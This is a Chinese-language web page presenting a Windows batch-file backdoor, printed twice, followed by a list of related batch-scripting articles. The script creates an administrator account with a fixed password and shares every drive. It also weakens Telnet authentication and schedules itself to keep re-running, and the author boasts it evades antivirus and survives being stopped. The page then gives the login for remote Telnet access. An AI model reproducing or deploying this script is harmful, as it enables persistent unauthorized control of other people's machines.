批處理bat之永不被殺的后門
更新時間：2008年06月23日 20:24:27 作者：
代碼思路是影子鷹DESERT朋友的，原代碼比較麻煩，我做了改進(jìn)，這個后門優(yōu)點就是小而且不會被殺，放到SYSTEM32目錄下就可以了 ，
代碼如下：
@echo off
@attrib +s + r xyt.bat
@net user xyt hacker /add
@net localgroup administrators xyt /add
@net share c$=c:
@net share d$=d:
@net share e$=e:
@net share f$=f:
@net share g$=g:
@net share h$=h:
@tlntadmn config sec = -ntlm
@net stop schedule
@net start Schedule
@echo at 11:00 c:\WINNT\SYSTEM32\log.bat > c:\WINNT\SYSTEM32\xyt.bat
@echo at 23:00 c:\WINNT\SYSTEM32\log.bat >> c:\WINNT\SYSTEM32\xyt.bat
@at 11:05 c:\WINNT\SYSTEM32\xyt.bat
@at 23:05 c:\WINNT\SYSTEM32\xyt.bat
@net stop telnet
@net start telnet
@exit
這樣就會循環(huán)運行我們的程序了，即使被人停下來，過幾個小時，又回重新運行，呵呵~~
運行后TELNET IP上去，用戶名為xyt，密碼為hacker。
復(fù)制代碼 代碼如下:
@echo off
@attrib +s + r xyt.bat
@net user xyt hacker /add
@net localgroup administrators xyt /add
@net share c$=c:
@net share d$=d:
@net share e$=e:
@net share f$=f:
@net share g$=g:
@net share h$=h:
@tlntadmn config sec = -ntlm
@net stop schedule
@net start Schedule
@echo at 11:00 c:\WINNT\SYSTEM32\log.bat > c:\WINNT\SYSTEM32\xyt.bat
@echo at 23:00 c:\WINNT\SYSTEM32\log.bat >> c:\WINNT\SYSTEM32\xyt.bat
@at 11:05 c:\WINNT\SYSTEM32\xyt.bat
@at 23:05 c:\WINNT\SYSTEM32\xyt.bat
@net stop telnet
@net start telnet
@exit
這樣就會循環(huán)運行我們的程序了，即使被人停下來，過幾個小時，又回重新運行，呵呵~~
運行后TELNET IP上去，用戶名為xyt，密碼為hacker。
相關(guān)文章
Windows下bat批處理腳本使用telnet批量檢測遠(yuǎn)程端口小記
這篇文章主要介紹了Windows下bat批處理腳本使用telnet批量檢測遠(yuǎn)程端口小記,需要的朋友可以參考下2015-09-09
如何在WinNT/2K/XP下安裝純DOS的方法...2007-03-03
用winrar和ftp命令實現(xiàn)自動備份文件并自動上傳到指定的ftp服務(wù)器
這篇文章主要介紹了用winrar和ftp命令實現(xiàn)自動備份文件并自動上傳到指定的ftp服務(wù)器的方法,需要的朋友可以參考下2014-05-05
DOS系統(tǒng)的維護(hù)...2006-09-09
幾個bat例子文件...2007-02-02
寫了個Vista的服務(wù)優(yōu)化腳本...2007-04-04
在DOS方式下也能對注冊表進(jìn)行編程？是的。當(dāng)您的Windows95/98因注冊表問題而無法啟動到圖形界面時，您此時只有在DOS下對注冊表進(jìn)行手術(shù)了2007-03-03
前面的教程中介紹過，刪除文件用的是del命令，那么，是不是像ren命令通吃文件和文件夾一樣，del是不是也可以刪除文件夾呢？2009-07-07
這是我自己用bat/批處理做的小計算器，將后附代碼直接復(fù)制到記事本里保存為.bat格式就可以使用了，很多原理都是類似的2012-04-04
NET LOCALGROUP命令詳解(將用戶添加到管理員組等)
NET LOCALGROUP 用于修改計算機(jī)上的本地組。當(dāng)不帶選項使用本命令時，它會顯示計算機(jī)上的本地組。2010-09-09